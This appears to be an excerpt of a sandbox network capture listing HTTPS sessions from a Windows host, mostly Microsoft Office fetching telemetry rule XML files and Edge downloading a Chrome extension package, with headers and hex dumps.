2024-11-13 17:08:28 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:28 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:28 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:28 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a14a0ed7-201e-0096-78aa-31ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170828Z-16547b76f7fr28cchC1DFWnuws0000000heg00000000u0m7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:28 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49840	13.107.246.45	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:28 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:28 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:28 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 081c3a8e-a01e-0053-58d2-2c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170828Z-16547b76f7fkcrm9hC1DFWxdag0000000he000000000wz1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:28 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:28 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:28 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:28 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 4e98fbea-b01e-0002-08d2-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170828Z-16547b76f7f4k79zhC1DFWu9y00000000hgg00000000afs5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:28 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:28 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:28 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:28 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b1270df0-501e-0035-6dd2-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170828Z-16547b76f7fxdzxghC1DFWmf7n0000000hm0000000006yx1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:28 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:29 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:29 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:29 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 791f1328-601e-003e-45a7-343248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170829Z-r178fb8d765ljg7ghC1DFWfk4c000000010000000000tqkt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:29 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:29 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:29 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: f8aeeb5f-a01e-0032-4aa0-341949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170829Z-1749fc9bdbdnks4vhC1DFW79r8000000018g00000000au0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:30 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:30 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 790f93ef-601e-003e-42a2-343248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170830Z-1749fc9bdbd2c44rhC1DFWbxe000000001bg0000000089z3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49849	216.58.206.33	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:30 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:30 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY0dlu2xL3gzZNmGhnRh6XycoJ_A9YvTK7QEx2FDsDIJWnfdzepMNdElyPyifS32FtvWSwVhqAcYmQ X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Tue, 12 Nov 2024 20:33:29 GMT Expires: Wed, 12 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 74101 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-13 17:08:30 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-13 17:08:30 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-13 17:08:30 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-13 17:08:30 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-13 17:08:30 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
